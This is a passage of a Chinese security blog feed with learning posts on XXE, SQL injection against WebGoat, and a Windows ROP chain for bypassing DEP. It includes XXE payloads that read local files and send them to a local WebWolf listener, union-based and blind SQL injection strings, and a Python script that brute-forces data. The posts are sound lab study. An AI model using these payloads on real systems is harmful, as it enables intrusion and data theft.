class="keyword">test</span> <span class="string">&quot;test for xml&quot;</span>&gt;</span>  </span></span><br><span class="line"><span class="meta">]&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="symbol">&amp;test;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span>  </span><br></pre></td></tr></table></figure><p>如果有的话，检测能否支持外部实体:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span>  </span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">ANY</span> [  </span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY %test <span class="string">&quot;http://yoursite.com/some.xml&quot;</span>&gt;</span>  </span></span><br><span class="line"><span class="meta"> %test;</span></span><br><span class="line"><span class="meta"> ]&gt;</span>  </span><br></pre></td></tr></table></figure><p>查看服务器日志即可。</p><h3 id="实例">实例</h3><p>WebGoat有一个和评论区留言有关的题目，可以看到抓到的包为:<br><img src="/2018/01/28/XXE%E5%88%9D%E6%AD%A5%E5%AD%A6%E4%B9%A0/xxe01.png" alt=""><br>这里能够看到，是一个简单的<code>json</code>传输块。题目还提到说，这个位置的利用方法是<code>JSON endpoints being vulnerable to XXE attacks</code>，则此时猜想，服务器后台<strong>可以解析XML</strong>，那么此时将包中的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Ccontent-type</span><br></pre></td></tr></table></figure><p>属性中的<code>json</code>改成<code>xml</code>，并且将发包的内容改成:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">comment</span> [</span></span><br><span class="line"><span class="meta"> <span class="meta">&lt;!ELEMENT <span class="keyword">comment</span> <span class="keyword">ANY</span>&gt;</span> </span></span><br><span class="line"><span class="meta"> <span class="meta">&lt;!ENTITY <span class="keyword">name</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///C://&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">comment</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">text</span>&gt;</span></span><br><span class="line"><span class="symbol">&amp;name;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">text</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">comment</span>&gt;</span></span><br></pre></td></tr></table></figure><p>即可实现泄露数据</p><h4 id="远程数据泄露">远程数据泄露</h4><p>第三个和评论区相关的题目没有回显，我们得利用之前提到的数据泄露的方法。我们此时和上述介绍的做法类似，首先要新建一个<code>evil2.dtd</code></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///C://Users//link//.webgoat-8.0.0.M9//XXE//secret.txt&quot;</span>&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">param</span> <span class="string">&quot;&lt;!ENTITY evil SYSTEM &#x27;http://localhost:8081/landing?text=%file;&#x27;&gt;&quot;</span>&gt;</span></span><br><span class="line">%param;</span><br></pre></td></tr></table></figure><p>然后将原先发送的数据包内容改成:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">comment</span> [ </span></span><br><span class="line"><span class="meta"> <span class="meta">&lt;!ENTITY % <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://localhost:8081/files/WebGoat/evil2.dtd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">%xxe;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">comment</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">text</span>&gt;</span></span><br><span class="line"><span class="symbol">&amp;evil;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">text</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">comment</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后我们在<code>WebWolf</code>(搭建在本地8081端口上的临时服务器)中查看访问得到的数据:<br><img src="/2018/01/28/XXE%E5%88%9D%E6%AD%A5%E5%AD%A6%E4%B9%A0/xxe02.png" alt=""><br>这里看到的 text 中的数据就是我们泄露的数据啦</p><p>参考链接:<br><a href="https://www.jianshu.com/p/5996942a3a39">https://www.jianshu.com/p/5996942a3a39</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;搞这个东西让我懂了一个道理:首先要完全掌握漏洞的相关知识才能成功实现攻击，一知半解完全就是看脸了…&lt;/p&gt;
&lt;h2 id=&quot;more-xxe初步学习&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Web" scheme="https://showlinkroom.me/categories/Web/"/>
    
    
    <category term="XXE" scheme="https://showlinkroom.me/tags/XXE/"/>
    
  </entry>
  
  <entry>
    <title>SQLInjection初尝试</title>
    <link href="https://showlinkroom.me/2018/01/26/SQLInjection%E5%88%9D%E5%B0%9D%E8%AF%95/"/>
    <id>https://showlinkroom.me/2018/01/26/SQLInjection%E5%88%9D%E5%B0%9D%E8%AF%95/</id>
    <published>2018-01-26T09:00:34.000Z</published>
    <updated>2020-07-16T13:31:30.417Z</updated>
    
    <content type="html"><![CDATA[<p>第一次认真的学习 sql 注入，拿着 WebGoat 试试水吧。<br><em>WebGoat后台数据库为<code>hsqldb</code>，资料比较少，可能有整理不全面的地方，以后慢慢补上</em></p><h2 id="more-sqlinjection初尝试"><span id="more"></span><br>SQLInjection初尝试</h2><h2 id="基本注入">基本注入</h2><p>首先尝试最简单的注入:<br>现在我们已知后台的 SQL 查询语句如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;select * from users where name = &#x27;&quot; + userName + &quot;&#x27;&quot;;</span><br></pre></td></tr></table></figure><p>这里我们只需要<strong>让<code>where</code>的判断条件恒为真</strong>就能够将所有的<code>users</code>取出来。在没有语法错误的前提下，我们可以写成如下形式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from users where name = &#x27;&#x27; or 1=1 -- &#x27;&quot;</span><br></pre></td></tr></table></figure><p><code>-- </code>表示注释，这里把后面的<code>'</code>注释了，从而避免了 sql 的语法问题<br><img src="/2018/01/26/SQLInjection%E5%88%9D%E5%B0%9D%E8%AF%95/webgoat05.png" alt=""></p><h3 id="获取其他的表">获取其他的表</h3><p>从第一个表中我们得到表的大致信息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,</span><br><span class="line">101, Joe, Snow, 987654321, VISA, , 0, </span><br></pre></td></tr></table></figure><p>然后第二张表的内容是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">CREATE TABLE user_system_data (userid varchar(5) not null primary key,</span><br><span class="line">                   user_name varchar(12),</span><br><span class="line">                   password varchar(10),</span><br><span class="line">                   cookie varchar(30));</span><br></pre></td></tr></table></figure><p>此时我们要利用第一关中的漏洞读取第二张表的内容。利用第一关泄露的信息，首先先无脑试一下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Snow&#x27; union * from user_system_data --</span><br></pre></td></tr></table></figure><p>此时会发现，我们的表列数不一样。于是我们更改一下写法:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Snow&#x27; union select userid, user_name, password, cookie, 1, 2, 3 from user_system_data --</span><br></pre></td></tr></table></figure><p>这个时候居然报错提示<code>incompatible data types in combination</code>，猜测是对不同类型的数据进行了检测之类的。于是修改注入逻辑为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Snow&#x27; union userid, NULL, NULL, NULL, NULL, NULL, NULL from user_system_data --</span><br></pre></td></tr></table></figure><p>发现还是报错，于是猜测<code>userid</code>为 int 类型。使用<code>cast</code>进行强制类型转换，发现猜测没错</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Snow&#x27; union select cast(userid,int), NULL, NULL, NULL, NULL, NULL, NULL from user_system_data --</span><br></pre></td></tr></table></figure><p>之后的类型也按照类似的猜测方法，得到最后的注入语句:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Snow&#x27; union select cast(userid as int), user_name, password, cookie, NULL, NULL, 1 from user_system_data --</span><br></pre></td></tr></table></figure><p><img src="/2018/01/26/SQLInjection%E5%88%9D%E5%B0%9D%E8%AF%95/webgoat06.png" alt=""></p><h2 id="数据库名-表名的得知方法">数据库名，表名的得知方法</h2><p><em>(这段参考至队友<a href="https://blog.rexskz.info/">skywalker_z</a>)的教学以及<a href="https://www.summershrimp.com/">xm1994</a>指点，感谢大佬</em><br>的指导</p><h3 id="有权限访问information-schema">有权限访问information_schema</h3><p>元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。 有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。<code>information_schema</code>提供了访问数据库元数据的方式,这里只要把它当成一张表就好。<br>通过利用这个表，我们就能够从里面拿到当前我们能够接触到的数据库以及表，表中的列等等。</p><h4 id="显示数据库名">显示数据库名</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata</span><br></pre></td></tr></table></figure><h4 id="显示数据库表名">显示数据库表名</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = &#x27;database_name</span><br></pre></td></tr></table></figure><h4 id="显示列名">显示列名</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = &#x27;database_name&#x27; AND table_name = &#x27;table_name&#x27;</span><br></pre></td></tr></table></figure><h3 id="没有权限访问infomation-schema">没有权限访问infomation_schema</h3><p>这个时候我们要结合着报错来使用。这个报错可以不是明显的报错，可能是页面的回显出现问题(利用盲注里面的<code>sleep</code>函数)，或者是某种特殊的返回。我们这个时候可以利用<strong>条件语句来进行猜测</strong>。这里提一下<code>hsqldb</code>这个数据库，这个数据库的操作和别的有点不一样：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select case when(SELECT ip FROM SERVERS WHERE hostname%3d&#x27;webgoat-prd&#x27;) LIKE &#x27;S%25&#x27; then 1 else 2 end from information_schema</span><br></pre></td></tr></table></figure><p>这里解释一下里面的内容的含义:</p><ul><li><code>%3d</code>和<code>%25</code>: 这个是<code>=</code>和<code>%</code>的<code>url</code>编码，有时候用<code>=</code>好像也是可以，但是传输的数据中不允许只出现一个<code>%</code>，所以要使用url编码。</li><li>LIKE: 也就是字符串比较，这里<code>hsqldb</code>的语法是<code>case when condition then 1 else 2 end</code>。这里的 condition 里面能够放<code>select expression + 比较类型的语句</code>。</li><li>“S%25”: 这个<code>%25</code>（也就是<code>%</code>）是<code>sql</code>里面的任意字符替换的意思，和正则中的<code>*</code>一样。</li></ul><p>这里的意思就是猜测当前<code>ip</code>列的第一个字符是不是<code>S</code>，是的话就调用1语句，否则调用2语句。一般来说可以利用行数量不等的方式，分别使用合法类型和<code>*</code>来实现<strong>猜测正确的时候回显正常，猜测错误的时候回显报错</strong></p><p>这个类型和网上的<code>MYSQL</code>的那个差不多:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if(substring(user(),1,1)=0x72,1,0x00)</span><br></pre></td></tr></table></figure><p>也就通过<strong>在2处填写会发生发错类型的语句，然后猜测当前的条件是否为真</strong>，从而实现数据猜测。这个猜测的过程可以套到上述的语句里面:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select case data when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE &#x27;S%&#x27; then 1 else 2 end</span><br></pre></td></tr></table></figure><p>套入之后，如果我们返回了1，则说明此时猜测正确，否则就是猜测错误。</p><h2 id="order-by">order by</h2><h3 id="order-by-猜测列表">order by 猜测列表</h3><p>假设此时我们不知道有哪些列，那么我们此时可以通过<code>order by</code>这个关键字来进行列的猜测:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">order by 1</span><br></pre></td></tr></table></figure><p>此时如果不会报错，说明当时的数据就按照第一列的顺序进行了排列，那么此时就<strong>存在当前列</strong>。我们可以一直修改指导知道出现报错，就能够知道当前有多少列了。</p><h3 id="order-by-漏洞利用">order by 漏洞利用</h3><p>这个漏洞的形式一般是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;select * from user order by &#x27;&quot; + order_id + &quot;&#x27;&quot;</span><br></pre></td></tr></table></figure><p>这个地方的注入点一般都是一个利用之前提到的<code>case when</code>的方法进行数据猜测:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">case when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE &#x27;S%&#x27; then 1 else 2 end</span><br></pre></td></tr></table></figure><p>通过爆破的方法能够猜测到需要的数据。</p><h4 id="实战-webgoat-sql-injection-mitigations">实战:WebGoat SQL Injection (mitigations)</h4><p><img src="/2018/01/26/SQLInjection%E5%88%9D%E5%B0%9D%E8%AF%95/webgoat07.png" alt=""><br>这道题我之前用了一些办法把库的名字给搞到了，库名是<code>SERVERS</code>。这个题目从题目内容中可以猜测到，可能有一个<code>ip</code>地址不符合需求没有被显示出来。（后来看到答案之后知道是因为ip不再一个域内）。然后利用这个猜测的办法，把一个存在数据库中，但是本身并没有被传输到前台的数据传输了过来。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">cookies = &#123;</span><br><span class="line"><span class="string">&quot;JSESSIONID&quot;</span>:<span class="string">&quot;CF7D35FF14A4A4B0523DE6863E00FC06&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;&quot;&quot;http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case+when(SELECT+ip+FROM+SERVERS+WHERE+hostname%3d&#x27;webgoat-prd&#x27;)%20LIKE%20&#x27;&#123;&#125;%25&#x27;%20then%20id%20else%20ip%20end)&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">test_url = url.<span class="built_in">format</span>(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">res = requests.get(test_url,cookies = cookies)</span><br><span class="line">rightContent = res.content</span><br><span class="line"><span class="comment"># for i in range(1,10):</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getFeedBack</span>(<span class="params">url, content</span>):</span><br><span class="line">target_url = url.<span class="built_in">format</span>(content)</span><br><span class="line">res = requests.get(target_url,cookies = cookies)</span><br><span class="line"><span class="comment"># print(res.content)</span></span><br><span class="line"><span class="keyword">return</span> res.content == rightContent</span><br><span class="line"></span><br><span class="line">maybeString = <span class="string">&quot;1234567890.?&quot;</span></span><br><span class="line">couldNotFind = <span class="literal">True</span></span><br><span class="line">answer = <span class="string">&#x27;1&#x27;</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> maybeString:</span><br><span class="line">tmp = answer + i</span><br><span class="line"><span class="keyword">if</span> getFeedBack(url, tmp):</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;now get url is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(tmp))</span><br><span class="line">answer = tmp</span><br><span class="line">couldNotFind = <span class="literal">False</span></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> couldNotFind:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">couldNotFind = <span class="literal">True</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="盲注">盲注</h2><p>之前的题目中，我们有报错提示，所以能够根据出错一点点的尝试我们的 sql 语句。然而很多时候报错信息是会被关闭的，这个时候我们就不能够通过报错信息调整我们的 sql ，甚至不知道这个地方是否存在注入点。</p><p>比如说，我们有一个可能存在注入位置的url</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://my-shop.com?article=4</span><br></pre></td></tr></table></figure><p>这种时候，我们有两种办法来判断注入。</p><h3 id="content-baseed">Content baseed</h3><p>这个<code>article</code>是不是注入点呢？我们可以通过尝试以下两种情况来判断:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">article=4 AND 1=1</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">article=4 AND 1=2</span><br></pre></td></tr></table></figure><p>如果第一种情况下，网页能够继续显示内容，而第二种情况不能正常显示的话，就说明这个<code>article</code>的位置上存在注入。</p><h3 id="time-based">Time based</h3><p>这种方法可以通过返回的时间长短来判断:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">article = 4; sleep(10) --</span><br></pre></td></tr></table></figure><h3 id="盲注得到信息">盲注得到信息</h3><p>这里</p><h2 id="特殊符号-关键字">特殊符号/关键字</h2><h3 id="注释符号">注释符号</h3><p><code>--</code>: 用来将当前语句的后方内容全部注释掉<br><code>/**/</code>: 将包括在其中的内容注释掉<br><code>+</code>： 用于连接不同的字符串</p><h3 id="连接关键字">连接关键字</h3><p><code>union</code>: 可以将两张表的查询结果合并。在注入中可以实现<strong>查询另一张表</strong>的功能。不过前提是<strong>当前的列数相同，列属性也要相同</strong></p><h3 id="sql-函数">sql 函数</h3><p><code>cast( colunm as types)</code>:将 column 中的数据转换成 type 类型。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;第一次认真的学习 sql 注入，拿着 WebGoat 试试水吧。&lt;br&gt;
&lt;em&gt;WebGoat后台数据库为&lt;code&gt;hsqldb&lt;/code&gt;，资料比较少，可能有整理不全面的地方，以后慢慢补上&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;more-sqlinjection初尝试&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Web" scheme="https://showlinkroom.me/categories/Web/"/>
    
    
    <category term="sql injection" scheme="https://showlinkroom.me/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>充满技巧的shellcode</title>
    <link href="https://showlinkroom.me/2018/01/24/%E5%85%85%E6%BB%A1%E6%8A%80%E5%B7%A7%E7%9A%84shellcode/"/>
    <id>https://showlinkroom.me/2018/01/24/%E5%85%85%E6%BB%A1%E6%8A%80%E5%B7%A7%E7%9A%84shellcode/</id>
    <published>2018-01-24T14:51:03.000Z</published>
    <updated>2020-07-16T13:31:30.433Z</updated>
    
    <content type="html"><![CDATA[<p>纠结了一下到底要叫什么名字，因为这里打算提到 pwn 的时候遇到的各种奇技淫巧(或者说各种很棒的思路)，着重想提一下 shellcode 和 ROP。</p><h2 id="more-充满技巧的shellcode"><span id="more"></span><br>充满技巧的shellcode</h2><h2 id="rop">ROP</h2><p>关于ROP，其实在不同的环境下，有很多的构造方法，当然使用合适的工具也是很重要的一环，比如说linux下的<code>ROPGadget</code>，windows下的<code>mona</code>都是很好的选择</p><h3 id="windows-绕过-dep">Windows 绕过 DEP</h3><h4 id="实验条件">实验条件</h4><ul><li>32bit PE 文件</li><li>没有打开<code>SafeSEH</code>和<code>GS</code></li><li>本地演示，假设知道各个module加载时候的地址</li></ul><h4 id="目标">目标</h4><p>弹出计算器</p><h4 id="思路">思路</h4><p>一个典型的栈溢出，DEP导致我们不能跳转到栈上，这种情况下windows下常见思路有两种</p><ul><li>WinExec执行calc.exe</li><li>将栈这段地址修改为可执行，然后<code>jmp esp</code></li></ul><p>这里针对第二种讨论。<br>给出一个之前看到的很棒的思路(用python生成ROP):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">create_rop_chain</span>():</span><br><span class="line"></span><br><span class="line">    <span class="comment"># rop chain generated with mona.py - www.corelan.be</span></span><br><span class="line">    rop_gadgets = [</span><br><span class="line">      <span class="number">0x6add435d</span>,  <span class="comment"># POP EBP # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x6add435d</span>,  <span class="comment"># skip 4 bytes [MSVCR110.dll]</span></span><br><span class="line">      <span class="number">0x77933b03</span>,  <span class="comment"># POP EBX # RETN [ntdll.dll] </span></span><br><span class="line">      <span class="number">0x00000201</span>,  <span class="comment"># 0x00000201-&gt; ebx</span></span><br><span class="line">      <span class="number">0x6ad925fb</span>,  <span class="comment"># POP EDX # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x00000040</span>,  <span class="comment"># 0x00000040-&gt; edx</span></span><br><span class="line">      <span class="number">0x7797c0e4</span>,  <span class="comment"># POP ECX # RETN [ntdll.dll] </span></span><br><span class="line">      <span class="number">0x74c502d6</span>,  <span class="comment"># &amp;Writable location [KERNEL32.DLL]</span></span><br><span class="line">      <span class="number">0x6ad696ed</span>,  <span class="comment"># POP EDI # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x6adb4486</span>,  <span class="comment"># RETN (ROP NOP) [MSVCR110.dll]</span></span><br><span class="line">      <span class="number">0x6adb53f6</span>,  <span class="comment"># POP ESI # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x75d84498</span>,  <span class="comment"># JMP [EAX] [KERNELBASE.dll]</span></span><br><span class="line">      <span class="number">0x6ad978b7</span>,  <span class="comment"># POP EAX # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x74c21230</span>,  <span class="comment"># ptr to &amp;VirtualProtect() [IAT KERNEL32.DLL]</span></span><br><span class="line">      <span class="number">0x6adf0267</span>,  <span class="comment"># PUSHAD # RETN [MSVCR110.dll] </span></span><br><span class="line">      <span class="number">0x75de2406</span>,  <span class="comment"># ptr to &#x27;jmp esp&#x27; [KERNELBASE.dll]</span></span><br><span class="line">    ]</span><br><span class="line">    <span class="keyword">return</span> <span class="string">b&#x27;&#x27;</span>.join(struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, _) <span class="keyword">for</span> _ <span class="keyword">in</span> rop_gadgets)</span><br></pre></td></tr></table></figure><p>这个写法真的很巧妙。我们来一步步分析它的行为</p><p>首先我们已知当前是栈溢出，那么我们的目标有两个</p><ul><li>调用<code>VirtualProtect</code></li><li>跳转到可执行的位置上执行<code>shellcode</code></li></ul><p>关于<code>VirtualProtect</code>，这里给出函数原型</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">VirtualProtect(</span><br><span class="line">lPAddress, <span class="comment">// 需要修改权限的地址</span></span><br><span class="line">dwSize,    <span class="comment">// 修改的地址大小</span></span><br><span class="line">NewProtect (<span class="number">0x40</span>),<span class="comment">// 修改成的权限 0x40为可执行</span></span><br><span class="line">lpOldProtect (ptr to W address) <span class="comment">// 一个指针，其中记录了之前的权限</span></span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>通过这个函数，我们能够修改栈的权限。观察函数的参数，发现其中有两个变量的数据是固定的，另外两个则是要根据运行时的程序确定，此时我想到的问题就是:</p><ul><li>如最大确定当前的<code>shellcode</code>的位置?或者说，如何将<code>esp</code>的值传入到栈中?<br>（<em>关于lpOldProtect参数，我们可以直接找一个固定的可写的地址即可，dll中这类地址很多</em>）</li></ul><p>我构想过如下思路:</p><ul><li>利用<code>mov reg32, esp; ret --&gt; push reg32; ret;</code>如何?</li></ul><p>但是直接这么用的话<strong>不能保证传参是连续的，因为有过一次ret之后，说明下一个地址也是存在栈中的，会卡住后面的参数传参</strong><br><img src="/2018/01/24/%E5%85%85%E6%BB%A1%E6%8A%80%E5%B7%A7%E7%9A%84shellcode/shellcode01.png" alt=""><br>可以看到，如果这样处理的话，虽然我们可以传入一个当前的esp，但是<strong>不能保证之后的参数能够按照我们的想法赋值</strong>，所以这个思路不同</p><ul><li>利用<code>push esp; pop ebp; ret --&gt; xchg eax, ebp; ret</code></li></ul><p>这个思路倒是可以，不过这样的话同样需要满足<strong>参数在栈中相邻</strong>这个要求，这样就比较复杂。</p><h4 id="pusha">pusha</h4><p><code>pusha</code>可以说是神器一号，pusha这个指令会将<strong>所有的寄存器保存在栈中，包括esp(为调用pusha之前的esp的值)</strong>，如果说我们首先<strong>将需要传递的参数按照<code>pusha</code>的推入顺序放在指定的寄存器中</strong>，那么调用<code>pusha</code>的时候，<strong>所有的参数都将会是相邻的</strong></p><p><code>pusha</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">push eax;</span><br><span class="line">push ecx;</span><br><span class="line">push edx;</span><br><span class="line">push ebx;</span><br><span class="line">push esp;</span><br><span class="line">push ebp;</span><br><span class="line">push esi;</span><br><span class="line">push edi;</span><br></pre></td></tr></table></figure><p>以下这几步做的就是将<code>VirtualProtect</code>的参数传入的操作。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0x77933b03,  # POP EBX # RETN [ntdll.dll] </span><br><span class="line">0x00000201,  # 0x00000201-&gt; ebx</span><br><span class="line">0x6ad925fb,  # POP EDX # RETN [MSVCR110.dll] </span><br><span class="line">0x00000040,  # 0x00000040-&gt; edx</span><br><span 